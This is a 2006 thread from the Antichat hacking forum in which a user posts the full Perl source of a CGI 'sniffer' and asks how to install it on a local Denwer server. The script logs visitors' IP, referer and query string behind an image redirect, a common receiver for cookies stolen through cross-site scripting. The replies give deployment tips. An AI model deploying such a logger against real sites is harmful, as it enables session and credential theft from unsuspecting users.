Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Проблемы с устанвкой снифера на локалхост |

07.04.2006, 22:56
|
|
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме: 1387660
Репутация:
74
|
|
Проблемы с устанвкой снифера на локалхост
я скачал исходник простого cgi-сниффера на перле вот он
#!/usr/bin/perl
#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;
#делаем редирект на картинку
print "Location: image.gif\n\n";
#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
#открываем на запись лог
open (LOG, ">$LogFile");
#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
#закрываем лог
close (LOG);
exit;
1)С каким расширением его нужно сохранить?
2)И куда нужно положить(в папку www или в cgi или в другое место) чтобы он работал ?
3)Какой должен быть url до него(чтобы например при нажатии на него в логе был ip того кто нажал на ссылку)
|
|
|

07.04.2006, 23:30
|
|
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме: 1387660
Репутация:
74
|
|
у меня стоит денвер
|
|
|

08.04.2006, 00:14
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме: 1730553
Репутация:
319
|
|
Tikson,
1_имхо .pl
2_всё прописано в httpd.conf Configuration File,скорее в cgi ,что стоит попровавать запуститьб его из разных мест.
3_точно не знаю-говорить не буду.
p.s -кто то на Ачате писал отличное видео на тему денвера-советую глянуть.
|
|
|

08.04.2006, 00:20
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме: 19975136
Репутация:
4536
|
|
|
|
|

08.04.2006, 00:27
|
|
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме: 1387660
Репутация:
74
|
|
по 1 мне сказали что расшрение должно быть cgi
|
|
|

08.04.2006, 00:34
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме: 1730553
Репутация:
319
|
|
|
|
|

08.04.2006, 01:31
|
|
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме: 1387660
Репутация:
74
|
|
короче
проблема есть!
я положил исходник простого cgi-сниффера в папку C:\WebServers\home\test1.ru\cgi\image.pl
и на всякий случай сохранил еще как s.pl , image.cgi
и на уже установленном на локал хост двиге е107 создал тему в которой написал
http://test1.ru/cgi/image.pl
http://test1.ru/cgi/image.cgi
http://test1.ru/cgi/s.pl
далее жму последвательно на эти три ссылки и не обнаруживаю лога, который поидее должен быть
#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;
HELP!!!
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|